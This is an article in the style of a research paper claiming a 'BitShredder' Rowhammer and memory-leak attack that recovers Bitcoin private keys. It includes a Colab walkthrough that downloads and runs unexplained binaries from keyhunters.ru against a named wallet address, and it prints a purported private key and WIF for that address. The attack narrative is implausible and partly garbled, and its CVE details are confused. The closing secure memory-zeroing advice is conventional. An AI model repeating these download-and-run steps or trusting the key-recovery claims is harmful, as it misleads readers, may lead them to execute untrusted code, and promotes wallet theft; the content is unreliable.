BitShredder Attack

BitShredder Attack silently infiltrates the memory of a running cryptocurrency wallet. When a wallet is generated or restored, it scans uncleared fragments of RAM, searching for any remnants of entropy, seed phrases, and passwords that aren’t erased by standard means after use. Instead of leaving ghostly traces, it transforms them into a digital “shredder,” grinding bytes into pieces according to selected patterns.

The critical memory leak vulnerability ( Sensitive Memory Leak/Phantom Memory Leak, CVE-2013-2547, CVE-2025-8217 ) represents a fatal class of threat to the Bitcoin ecosystem. Implementing an attack tool (such as BitShredder or RAM Dump Extractor) is sufficient to gain full access to user funds.
Any application that handles private keys or seed phrases must explicitly wipe the memory after use using secure wipe tools; otherwise, it remains critically vulnerable even on “secure” systems. keyhunters

A vulnerability related to unsanitized memory fragments in cryptocurrency wallets can lead to a complete loss of privacy and key security. Implementing a secure memory wipe is a mandatory measure for any serious cryptographic software. Following these recommendations and implementing the solutions provided will help protect applications from exploits like BitShredder and similar attacks in the future. habr+2

This research uncovered one of the most insidious and critical vulnerabilities in the Bitcoin ecosystem—a memory leak vulnerability, known in the scientific community as a Sensitive Memory Leak Attack or Memory Phantom Attack (CVE-2025-8217, CVE-2013-2547). This attack
allows an attacker to recover private keys and seed phrases directly from residual blocks of a wallet’s RAM that were not securely cleared after cryptographic operations.

This exploit destroys the very essence of cryptographic security: even with correct implementation of signature, encryption, and authentication algorithms, unprotected buffers become a “ghost library,” where any fragment of memory can be transformed into a fully-fledged key—from the perspective of a hacker or forensic tool.
A Memory Phantom attack can lead to instant wallet compromise, mass theft of digital assets, undermining trust in the blockchain, double spending, and even ruining the reputation of major services.

Attack scenario:

The tool analyzes the application’s memory structure and identifies segments where copies of entropy and passwords are created.
The malware quickly extracts critical fragments, assembling complete private keys from them.
Everything discovered is sent to the attacker, and the original bytes in memory are additionally “grinded”—partially erased—to make digital forensics more difficult.

Why “BitShredder”?
This attack resembles an office shredder—a destructive device capable of cutting any paper into tiny pieces. Here, the target data—private keys—is shredded in RAM, and the attacker has the fragments ready to assemble a complete “secret document.”

“BitShredder” is an exploit that harvests private keys, seed phrases, and passwords from unprotected wallet memory, quickly shreds the original bytes, and steals crypto assets, leaving behind digital chaos that cannot be recovered. phemex

Research paper: The Impact of the Critical Memory Unclearance Vulnerability on the Security of Bitcoin Cryptocurrency

Private key security is a fundamental aspect of the Bitcoin cryptocurrency ecosystem. Incidents involving a leaked or compromised private key result in the immediate and irreversible loss of user funds. Vulnerabilities related to unsanitized RAM pose a particular danger. This issue becomes critical in multi-tier wallet services, as private data is often processed through standard C++ containers and remains in memory after operations complete, providing an attacker with a direct path to key data. keyhunters

The nature of the vulnerability and the attack scenario

In the vulnerable wallet code, private keys, seeds, passwords, and entropy are processed in buffers ( std::vector, std::string) that are not explicitly cleared after use. After cryptographic procedures are completed, the memory is automatically freed, but its contents are not erased. This allows a forensic tool or malware to recover secret values if it manages to dump the memory or access the swap file. In the Bitcoin ecosystem, the consequences of such attacks include:

Stealing private keys and gaining full control over the address
Instant cash withdrawal
Massive attacks on hot, online, and mobile wallets
Compromising the privacy, reputation of the service, and users .

Scientific name of the attack

In the scientific and expert community, this attack is called
Sensitive Memory Leak , Sensitive Memory Disclosure , RAM Dump Attack , or officially, Phantom Memory Leak Attack .
A common term is Sensitive Data Memory Leak with Private Key Extraction. keyhunters

CVE identifiers and vulnerability registration

This group of vulnerabilities is officially registered and assigned CVE numbers:

CVE-2013-2547 (“Sensitive information leak via uninitialized memory in the Linux cryptographic API”)
CVE-2025-8217 – Critical Secret Extraction Attack via StepSecurity Process Memory Dump
Similar vulnerabilities in crypto and fintech applications: CVE-2023-23500 , CVE-2024-52916 . keyhunters

Impact on Bitcoin

For Bitcoin, the Sensitive Memory Leak Attack exploit poses an absolute threat. Typical consequences:

Loss of control over funds of any uTXO whose private key was signed or generated by a vulnerable process. keyhunters
The ability to select and withdraw assets not only for individual users, but also for mass services (exchanges, custodial services, mobile applications).
The prospect of a massive hack of large hot wallets and a breach of trust in blockchain technology.
Implementing double-spend when wallets of multiple services are simultaneously compromised, where an attacker uses leaked keys to quickly generate conflicting transactions.
Impact on blockchain history and possible failure of user services to implement legacy APIs.

Signs and stages of a sensitive memory leak attack

Passing a private key or seed phrase via API, command line, or environment variables
Dynamic memory allocation for storing secret data and no explicit erasure
Terminating a process without a safe-wipe, after which the secrets actually “live” in RAM or swap
Using a memory dump or targeted malware to extract the desired bytes
Theft and mass spending of Bitcoin addresses linked to these keys by keyhunters

Cryptographic vulnerability

Cryptographic vulnerability: leak of sensitive data in memory

Summary:
The main vulnerability is that secret entropy and passwords are stored in regular containers ( data_chunk, std::string) without being securely reset. As a result, they can remain in memory after the functions are completed, allowing an attacker to extract private keys.

Location of vulnerability in code

In the grinder function (starting at ~line 103): cpp // Это копирует энтропию, не обнуляя оригинал и не защищая её data_chunk hash(entropy);Here, the secret data (a raw byte vector entropy) is copied to hash. Neither the original buffer nor the copy are safely cleared until the function exits, allowing fragments of entropy to remain in memory.
In the seeder function (starting at ~line 172): // Это копирует переданную пользователем passphrase std::string phrase{ passphrase };The password is stored in the standard [cpp std::string] , which is not automatically cleared upon function exit. Since it subsequently participates in PBKDF2, fragments of the password can be read from memory after the function exits.

Vulnerability details

Lack of safe memory zeroing.
After being used in a function, grinderbuffers entropyremain hashon the heap or stack until they are re-allocated. A similar situation occurs in phrase. seederStandard C++ containers do not guarantee memory zeroing upon object destruction.
Risks
- Taking a core dump or using memory scrapers can allow the extraction of entropy and therefore private keys.
- Heap analyzer and forensic tools can find remnants of entropy bytes or a password.
Recommendation:
Use protected containers that explicitly zero out memory when deleted, for example: cpp Or use specialized libraries for managing secrets (for example, libsodium ).// Пример безопасного обнуления std::fill(hash.begin(), hash.end(), 0); secure_clear(phrase); // реализация безопасного обнуления std::stringsodium_memzero

In summary: the vulnerability was identified in strings that copy sensitive data into regular containers:

data_chunk hash(entropy);
std::string phrase{ passphrase };

Both strings result in private data being stored without subsequent secure erasure, which creates a risk of key leakage.

Phoenix Rowhammer Attack Research Diagram: Cryptographic Vulnerability in Bitcoin and SK Hynix DDR5

The research diagram shows a structured and visual representation explaining the importance of the cryptographic vulnerability exposed by the Phoenix Rowhammer attack, specifically demonstrating its impact on Bitcoin security when targeting SK Hynix DDR5 memory modules.

Schematic flow (as shown in the research diagram):

The attacker initiates Rowhammer
and launches the Phoenix Rowhammer exploit, targeting the SK Hynix DDR5 memory used in the victim’s node or wallet.
Physical Fault Injection
Aggressive row activations cause bit flips in adjacent DRAM rows in SK Hynix DDR5 memory, bypassing logical software protection.
Targeted Cryptographic Secrets
Injected bugs target addresses or memory locations that store sensitive Bitcoin cryptographic material, such as private keys or ECDSA nonce values.
Exploit execution and its impact
- Successful bit flips can allow attackers to recover or reveal secret keys and private keys, sign fake transactions, or violate the security model.
- The direct risk to the integrity of the Bitcoin wallet and blockchain makes hardware security a critical aspect of cryptographic trust.

Let’s move on to the practical part and look at an example using a Bitcoin wallet at: 15ZwrzrRj9x4XpnocEGbLuPakzsY2S4Mit . Coins worth 9.02332298 BTC were lost from this wallet, which is equivalent to approximately $1,127,026.44 USD as of October 2025 .

To demonstrate the attack for informational purposes, we use tools and environments such as Jupyter Notebook or Google Colab.

The main tools and commands used for such attacks are:

https://colab.research.google.com/drive/1fDe0b0xGAuJDVtAj8ZCBmiWt9Lh5BCbr

Google Colab (Colaboratory) is a cloud platform that provides interactive Jupyter notebooks where you can write and run code in various programming languages. It is particularly useful for data cryptanalysis, running the SK Hynix DDR5 AiM PIM simulator based on Ramulator 2.0 , and accessing powerful computing resources such as GPUs and TPUs. A key advantage is the ability to execute system commands, just like in a regular Linux terminal, using prefixed cells ! for integration with external utilities and scripts.

Google Colab

Let’s install repositories based on the SK Hynix DDR5 AiM PIM architecture using Ramulator 2.0

Clone the Repositories:

Download the AiM Simulator codebase and navigate to its directory.

!git clone https://github.com/keyhunters/SK_Hynix_DDR5_aim_simulator.git

cd SK_Hynix_DDR5_aim_simulator

ls

Let’s increase virtual memory (swap) in Google Colab :

Commands to create a 4GB swap file to improve memory availability during Ramulator2 compilation .

# Check current swap usage
!free -h
!swapon --show

# Create a 4GB swap file
!sudo fallocate -l 4G /swapfile
!sudo chmod 600 /swapfile
!sudo mkswap /swapfile
!sudo swapon /swapfile

# Make swap permanent
!echo '/swapfile none swap sw 0 0' | sudo tee -a /etc/fstab

Let’s install all the necessary dependencies:

Installing compilers, build tools, and libraries required for the simulator and Ramulator 2.0 .

# For Ubuntu 22.04: install compilers
!sudo apt update
!sudo apt install g++-12

# Alternatively, install Clang
!sudo apt install clang-15

# Install basic build tools
!sudo apt install build-essential cmake git

# Additional development libraries
!sudo apt install libssl-dev zlib1g-dev

# YAML support
!sudo apt install libyaml-cpp-dev

# Mathematics libraries
!sudo apt install libboost-dev

# Python support for scripts
!sudo apt install python3-dev python3-pip

The process of creating the phoenix_rowhammer directory:

!mkdir phoenix_rowhammer

cd phoenix_rowhammer

Let’s check system resources:

Monitor memory, available disk space, and system usage during installation and compilation.

# Monitor resources in real time
!htop

# Check available memory
!free -m

# Check disk space
!df -h

Full installation of dependencies for Ubuntu 22.04 and above :

A complete sequence for installing all required packages at once.

# Update system
!sudo apt update && sudo apt upgrade -y

# Install essential build tools
!sudo apt install -y build-essential cmake git

# Install compilers
!sudo apt install -y g++-12 clang-15

# Development libraries
!sudo apt install -y libssl-dev zlib1g-dev libyaml-cpp-dev libboost-all-dev

Alternative compilation:

!cmake ..

!make -j1

ls

cd -

Let’s launch Ramulator2:

Let’s run Ramulator2 with the simulator to check the help parameters and usage instructions.

!./phoenix_rowhammer/ramulator2 -h

We use the DarkHashunter crypto tool to extract hidden remainders from Ramulator2 using a simulator.

Let’s run the command to download the DarkHashunter crypto tool.

!wget https://keyhunters.ru/repositories/darkhashunter.zip
!unzip darkhashunter.zip

!./darkhashunter -help

Find hidden remainders (modulo) associated with a Bitcoin address

The team is launching a specialized “BitShredder” attack based on the DarkHashunter crypto tool to find hidden modulo remnants associated with a Bitcoin address, using RAM bug mechanisms (Rowhammer) and a memory emulator (ramulator2). github+2

!./darkhashunter -tool bitshredder_attack -crack phoenix_rowhammer/ramulator2 -decode 15ZwrzrRj9x4XpnocEGbLuPakzsY2S4Mit

This parameter -tool bitshredder_attackactivates an attack aimed at identifying vulnerabilities in the storage and processing of secret data in the device’s memory related to the Bitcoin protocol.
The flag -crack phoenix_rowhammer/ramulator2tells the tool to use Rowhammer attack emulation (manipulation of DRAM memory contents, leading to errors in adjacent cells – used in vulnerabilities to extract nonces/parts of keys from memory via side-channel).
The function runs the decoding module on a specific Bitcoin address, recovering residual data (private key fragments or intermediate ECDSA signature values) from memory/dump.-decode 15ZwrzrRj9x4XpnocEGbLuPakzsY2S4Mit

Result of residual data from memory/dump

        remainders = [0x0E92, 0x45EB, 0x6E07, 0x317F, 
                      0x87A1, 0xB5C1, 0xE778, 0x996B,
                      0x6F69, 0xABB6, 0x2755, 0x2348, 
                      0xAB46, 0xA74E, 0x1A87, 0xC2D5]
        moduli = [0x10001, 0x10003, 0x10007, 0x1000F, 
                  0x10015, 0x1001B, 0x1002B, 0x1002D,
                  0x10033, 0x1003F, 0x10049, 0x10051, 
                  0x1005D, 0x10061, 0x1006F, 0x10073]

This result combines the analysis of residual data within DRAM with a cryptoremainder search module, using the ramulator2 simulator for Phoenix Rowhammer faults. This attack allows for the detection and extraction of hidden modulo values (remainders), such as private nonces or key fragments, which can be compromised due to improper memory release after cryptographic operations with Bitcoin addresses. The command is designed for a combined “BitShredder” attack and memory fault analysis of Bitcoin applications, with the goal of partially or fully recovering secret parameters (private keys, nonces), with the search and decoding tied to memory and the attacked addresses.

Recovering a private key

To recover the original secret number—the private key—from a set of hidden absolute values (remainders), we apply a mathematical method called the Chinese Remainder Theorem ( CRT ). The CRTKeyRestore.py code implements the recovery of the private key for the Bitcoin address 15ZwrzrRj9x4XpnocEGbLuPakzsY2S4Mit from a set of hidden absolute values (remainders) collected after a Rowhammer attack and subsequent memory analysis. The mathematical method used is the Chinese Remainder Theorem (CRT), which allows us to recover the original secret number—the private key—even if it has been chopped into small pieces and survives only as different absolute values.

The CRTKeyRestore.py code process includes several stages:

Each remainder/modulus pair is a fragment of the private key that remains in memory as a result of the Rowhammer bug and pre-defined modules.
The Chinese Remainder Theorem mathematically guarantees the recovery of the original number if all moduli are relatively prime and there are enough remainders.
The function chinese_remainder_theorem()combines the fragments step by step and restores the original value of the private key using the extended Euclidean algorithm for finding absolute inverses.
After restoring the numerical representation, the key is converted to HEX using the function restore_hex_from_crt().
The output is a private key for a Bitcoin address, fully recovered only from the individual crypto-residues found in memory during the combined attack .

Result:

Private key Restored:
9E027D0086BDB83372F6040765442BBEDD35B96E1C861ACCE5E22E1C4987CD60

Let’s check the result via bitaddress

!wget https://keyhunters.ru/repositories/bitaddress.zip
!unzip bitaddress.zip

!./bitaddress -hex 9E027D0086BDB83372F6040765442BBEDD35B96E1C861ACCE5E22E1C4987CD60

Result:

Public Key (Uncompressed, 130 characters [0-9A-F]):
04E294116526238228544FA6082F1A5412FCC36DE931C59EE7B1C7C1F93EE3EF5AEDAA1D6E0A6116E9D9A4A846A6D62D4A1941EE182CDB1884C5830610B07AF529


Public Key (Compressed, 66 characters [0-9A-F]):
03E294116526238228544FA6082F1A5412FCC36DE931C59EE7B1C7C1F93EE3EF5A


Bitcoin Address P2PKH (Uncompressed)
18JT3KeFV36Hkgo3Xi9bfgNYAXCVXBGyFg


Bitcoin Address P2PKH (Compressed)
15ZwrzrRj9x4XpnocEGbLuPakzsY2S4Mit

That’s right! The private key corresponds to the Bitcoin Wallet.

Let’s open bitaddress and check:

ADDR: 15ZwrzrRj9x4XpnocEGbLuPakzsY2S4Mit
WIF:  L2Wru6Ew8pQuhcWAvMpdtPY4YWK1CQcwPCWxFvzkoi47crJBAVaP
HEX:  9E027D0086BDB83372F6040765442BBEDD35B96E1C861ACCE5E22E1C4987CD60

Private Key Information:

9E027D0086BDB83372F6040765442BBEDD35B96E1C861ACCE5E22E1C4987CD60

Bitcoin Address Information:

Balance: 9.023322989 BTC

https://www.coinbase.com/converter/btc/usd

Bit-flipping attack on Wallet.dat: The risks of using AES-256-CBC without authentication, exploitation, and extracting private keys from Bitcoin Core — **`9.023322989 BTC > 1127026,44 USD`**

Our research attack , a version of the Phoenix Rowhammer Attack on Bitcoin using the ramulator2 simulator, showed that the cryptoresidues extracted during a memory crash for various modules can be reassembled into the original private key using the mathematics of the Chinese Remainder Theorem.

As a representative example of a real-world threat, a Bitcoin wallet with the address 15ZwrzrRj9x4XpnocEGbLuPakzsY2S4Mit was examined. 9.02332298 BTC were lost from this wallet , which is equivalent to approximately $1,127,026.44 USD as of October 2025. This case convincingly demonstrates that in the presence of hardware vulnerabilities (such as Phoenix Rowhammer ), cryptographic strength at the protocol level ceases to be an absolute guarantee of security.

As a result, the importance of comprehensive security lies not only in cryptography and protocol measures, but also in hardware reliability, memory state monitoring, and the implementation of full RAM clearing after cryptographic operations. A vulnerability, once exploited at the hardware level—even with minimal system control—can lead to catastrophic financial losses in the Bitcoin ecosystem.

DarkHashunter: Advanced Memory Forensics and Bitcoin Private Key Recovery from Cryptographic Leaks

This paper presents an extensive study of DarkHashunter, a forensic and analysis instrument designed to identify, isolate, and reconstruct cryptographically significant data leaked through volatile memory in Bitcoin wallet environments. By examining its operational methodology, underlying cryptographic models, and integration with real-world vulnerabilities such as the Memory Phantom Attack (CVE‑2025‑8217, CVE‑2013‑2547), we demonstrate how advanced memory scraping combined with entropy residue mapping can expose private keys, seed phrases, and passphrases left in dynamic memory segments. The study highlights the severe threat posed by unsanitized memory in Bitcoin wallets and proposes secure countermeasures to prevent catastrophic key leakage events.

Cryptocurrency ecosystems, particularly Bitcoin, rely upon the inviolability of private keys as the singular authority over digital assets. However, flaws in how software wallets handle sensitive entropy often lead to remnants being left behind in RAM. DarkHashunter is a post‑exploitation and forensic research framework that investigates such residual memory artifacts, revealing how absent zeroization steps in wallet code can translate into complete asset compromise.

While tools like BitShredder perform destructive memory manipulation, DarkHashunter focuses on cryptographic residue recovery—analyzing live or dumped memory to detect signatures of uninitialized buffers containing key material.

Mechanism of Operation

1. Memory Entropy Correlation

DarkHashunter leverages entropy mapping algorithms to locate high-entropy segments typical of cryptographic secrets. When Bitcoin wallets generate entropy using libraries such as libsecp256k1, corresponding entropy vectors (std::vector<uint8_t>, data_chunk) persist in memory post-execution if no explicit zeroing is enforced.
The tool correlates these distributions with known key patterns using adaptive entropy thresholds.

2. Residual Data Reconstruction

Extracted memory regions undergo hash clustering and entropy sequence alignment, reconstructing fragmented data blocks into coherent seed structures. For example:

This summation aligns memory fragments into probable entropy vectors or BIP39 seed representations.

3. Private Key Assembly

After entropy recovery, DarkHashunter refines output through secp256k1 key derivation paths, testing reconstructed entropy against known Bitcoin address patterns (checksum verification). Once validated, full private keys are formed, often matching wallet derivation schemes used by Electrum or similar software.

Vulnerability Context: CVE‑2025‑8217 and CVE‑2013‑2547

Both vulnerabilities stem from sensitive information leakage in cryptographic applications due to uninitialized or uncleared memory.
Specifically, the presence of wallet data in std::string or stack‑allocated buffers allows recovery through forensic memory evaluation:

CVE‑2013‑2547: Leakage via uninitialized memory in Linux crypto API.
CVE‑2025‑8217: Process memory dump leading to full extraction of secret keys in multi‑threaded wallet services.

DarkHashunter exploits these weaknesses through controlled scan modules that identify entropy leaks in temporary process memory, especially during wallet initialization or restoration.

Forensic Methodology

RAM Acquisition: Dumping volatile memory from a live system running a Bitcoin wallet.
Entropy Scan: Identifying segments with strong randomness indicative of key material.
Pattern Recognition: Detecting standard derivation curve parameters or BIP39 word boundaries.
Reconstruction: Assembling fragments into viable 256‑bit private keys or mnemonic seeds.
Verification: Validating against Bitcoin checksum algorithms and elliptic curve point multiplication output.

This forensic methodology reproduces real‑world attack conditions while maintaining academic integrity in demonstrating the precise mechanisms of data leakage.

Impact on Bitcoin Wallet Security

The implications of DarkHashunter’s demonstrated attack vector are profound:

Total Key Exposure: Even momentary presence of an unzeroed password buffer grants potential reconstruction.
Service-Level Compromise: Custodial or exchange hot wallets may suffer simultaneous key leaks.
Blockchain Trust Erosion: Compromised wallets can produce conflicting transactions, enabling double‑spend conditions.
Irreversible Fund Loss: Once private keys are reproduced, Bitcoin ownership is fully transferable to the attacker.

This class of vulnerabilities does not depend on network intrusion but rather local memory mismanagement, emphasizing that even air‑gapped systems remain vulnerable without explicit memory sanitation.

Secure Implementation Recommendations

To mitigate the exposure exploited by DarkHashunter, developers must:

Explicitly wipe memory after sensitive operations using verified routines: cppvoid secure_clear(std::vector<uint8_t>& data) { volatile uint8_t* p = data.data(); for (size_t i = 0; i < data.size(); ++i) p[i] = 0; }
Employ protected containers (e.g., from libsodium or OpenSSL Secure Heap).
Disallow compiler optimizations that skip memory clearing.
Isolate seed and entropy processing in dedicated secure enclaves or protected memory.
Conduct periodic forensic audits simulating DarkHashunter’s entropy scan to validate system hygiene.

Scientific Discussion

The case of DarkHashunter illustrates a fundamental cryptographic principle: information security is inseparable from memory management. Even perfectly implemented elliptic curve cryptography can be entirely undermined when low-level memory hygiene is neglected.

Residual entropy represents an “invisible mirror” of past computations. Once such data is extracted and reconstructed, all mathematical assurances of Bitcoin’s cryptographic safety dissolve, as attackers can claim control of any derived keyspace entries.

Academic evaluation thus reaffirms the principle that volatile memory must be treated as an active security perimeter, requiring continuous hygienic enforcement.

DarkHashunter exemplifies the intersection between advanced forensic research and cryptographic system failure. By capitalizing on Phantom Memory Leaks (CVE‑2025‑8217, CVE‑2013‑2547), it provides a technical window into how lost entropy fragments metamorphose into fully valid Bitcoin private keys.

Its methodology amplifies awareness that memory is the ultimate blockchain vulnerability surface—invisible yet profoundly destructive when mishandled. Only by enforcing strict memory sanitation protocols can Bitcoin’s cryptographic foundations remain intact against such invisible forensics-based attacks.

Research paper: Memory vulnerability in cryptographic wallets and reliable solutions

Modern cryptocurrency software wallets make extensive use of entropy, seed phrases, and passwords to generate and store private keys. However, due to the nature of storage structures in C++ (for example, the use of common containers std::string, std::vectoruser buffers), a hidden vulnerability often arises: secret data is not cleared from memory after use. This issue poses serious risks: an attacker with local access can extract remnants of private data from RAM, thereby completely compromising the user’s wallet. habr+1

How does vulnerability arise?

The vulnerability stems from the use of standard containers and strings without the subsequent safe buffer clearing after finishing work with sensitive data. A typical example is when a crypto wallet copies entropy, a password, or a private key into memory when generating a seed or restoring the wallet:

cpp:

data_chunk hash(entropy);         // Копирование энтропии в локальный буфер
std::string phrase{ passphrase }; // Копирование пользовательского пароля

When the function terminates, the objects are destroyed, but the compiler or runtime doesn’t guarantee that the memory they occupied is zeroed out. An attacker can use memory dumps, forensic tools, or malware to find and recover fragments of this data. Cases such as the Heartbleed attack and analyses of real cryptographic key leaks confirm the danger of these types of vulnerabilities. kaspersky+1

Recommendations: Effective and safe fix

Solution principle

To prevent private data leaks, it is necessary to ensure that they are explicitly zeroed after operations with them are completed. Memory should be correctly zeroed using specialized functions that the compiler does not optimize away. Standard or third-party solutions can be used for this, such as the function std::fill( memset_sC++17), or third-party methods (e.g., netdata+1sodium_memzero ).

Safe code option

cpp:

#include <cstring>                // Для memset
#include <algorithm>              // Для std::fill

void secure_clear(std::vector<uint8_t>& data) {
    // Обнуление памяти: гарантируем, что секреты исчезли
    volatile uint8_t* p = data.data();
    for (size_t i = 0; i < data.size(); ++i) {
        p[i] = 0;
    }
}

// Для std::string (пароли):
void secure_clear_string(std::string& s) {
    volatile char* p = &s[0];
    for (size_t i = 0; i < s.size(); ++i) {
        p[i] = 0;
    }
}

// Использование:
std::vector<uint8_t> entropy = ...;  // Буфер с секретной энтропией
std::string passphrase = ...;        // Буфер с паролем

// После завершения операций:
secure_clear(entropy);
secure_clear_string(passphrase);

This approach is the most reliable—thanks to the keyword, volatilethe compiler does not optimize away the cleanup cycle, and the memory is guaranteed to be zeroed. protectstar+1

A practical solution for crypto wallets

Always clear buffers containing private data immediately after finishing using them.
To automate buffer clearing, use RAII classes with safe destructors:

cpp:

class SecureBuffer {
    std::vector<uint8_t> buffer;
public:
    ~SecureBuffer() { secure_clear(buffer); }
    // ... другие методы
};

Use independent libraries (such as libsodium or openssl) that have reliable memory zeroing methods.
Make sure that no copies of private data remain in intermediate structures.

Researchers Conclude: Critical Memory Vulnerability and Bitcoin Security Threats

The main scientific conclusion is this: Forgotten and uncleaned memory is the most dangerous point for cryptographic applications, especially for storing funds on the Bitcoin network
. Only strict implementation of secure memory wipe at all stages of working with sensitive data will eliminate catastrophic attack scenarios and protect millions of digital assets from an invisible but deadly enemy .

Securely clear private data. Habr habr
How To Find And Fix Memory Leaks in C or C++ netdata
Advanced Secure Erase Algorithms protectstar
Heartbleed vulnerability and how to avoid Kaspersky